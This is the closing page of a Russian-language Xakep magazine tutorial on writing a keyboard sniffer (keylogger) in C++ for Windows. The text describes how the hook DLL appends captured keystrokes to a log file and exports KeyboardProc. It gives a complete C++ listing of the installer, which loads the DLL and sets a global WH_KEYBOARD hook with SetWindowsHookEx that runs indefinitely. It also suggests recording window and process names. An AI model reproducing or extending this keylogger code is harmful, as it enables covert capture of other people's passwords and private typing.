Клавиатурная снифалка на C++

Николай "GorluM" Андреев

Xakep, номер #055, стр. 055-070-3


buffer[0]='\0';

break;

Теперь осталось только открыть файл на запись, поставить с помощью функции SetFilePointer курсор в конец и добавить наш буфер. Причем открывать его надо с параметром FILE_SHARE_WRITE, иначе две программы не смогут одновременно работать с одним файлом. Системе это не понравится.

Завершив обработку полученного события, надо отправить его (событие) дальше по цепочке хуков. Делается это с помощью функции CallNextHookEx, в которой указываются все полученные в начале параметры.

Пишем установщик хука

После написания модуля обработки добавим к проекту DLL файл exports.def, в котором будет содержаться имя экспортируемой функции в следующем формате:

LIBRARY spy

EXPORTS

KeyboardProc

Компилируем это. Теперь все ОК. Осталось написать программу, устанавливающую нашу ловушку. Для этого берем обычный шаблон приложения (см. приложение) и начинаем в нем писать. Первое, что должна сделать программа - подгрузить к себе только что созданную DLL-ловушку. Делается это с помощью функции LoadLibrary. Единственное, что ей необходимо передать - имя подгружаемой библиотеки. Затем программа должна найти адрес в памяти процедуры нашей ловушки. Для этого мы передаем WinAPI функции GetProcAddress адрес подгруженной DLL (значение, которое вернула LoadLibrary) и название обработчика, в данном случае KeyboardProc. Теперь осталось только установить ловушку и заснуть на некоторое время. Ловушка будет работать до тех пор, пока не вызовется функция UnhookWindowsHookEx, или не уничтожится процесс, установивший ловушку. Ведь когда процесс вырубается, все его библиотеки выгружаются, в том числе и DLL с нашей ловушкой.

ХХХ ЗАГОЛОВОК ХХХ

Break

К сожалению, возможности рубрики "Кодинг" не позволяют мне описать эту технику более подробно, но вышеизложенного материала хватит на то, чтобы начать писать свой уникальный логгер с множеством полезных функций. Например, можно добавить в логгер фичу по записи времени, имени процесса или окна, в котором была введена буква. Можешь попробовать написать ловушку на мышь. В общем, здесь есть, что придумать. Если будет интересно узнать про реализацию той или иной функции в кейлоггере - пиши. Как обычно, проект для Visual Studio .NET, полный исходный текст программы и уже скомпилированный exe’шник ты можешь взять на нашем диске или скачать с сайта www.xakep.ru. На этом все.

Удачного компилирования.

Листинг exe-модуля

#include <windows.h>

#pragma comment(linker,"/MERGE:.rdata=.text")

#pragma comment(linker,"/SECTION:.text,EWRX")

#pragma comment(linker,"/ENTRY:WinMain")

int __stdcall WinMain(HINSTANCE ha, HINSTANCE, PTSTR, int)

{

// гружу DLL

HMODULE dllhook = LoadLibrary("spy.dll");

// Ищу функцию в DLL

HOOKPROC hook = (HOOKPROC)GetProcAddress(dllhook, "KeyboardProc");

// Устанавливаю ловушку

HHOOK hhook = SetWindowsHookEx(WH_KEYBOARD,hook,dllhook,0);

// время работы ловушки

// INFINITE - если хотите, чтобы ловушка работала "долго"

Sleep(INFINITE);

// выгружаю DLL

FreeLibrary(dllhook);

return 0;

}

Назад на стр. 055-070-2  Содержание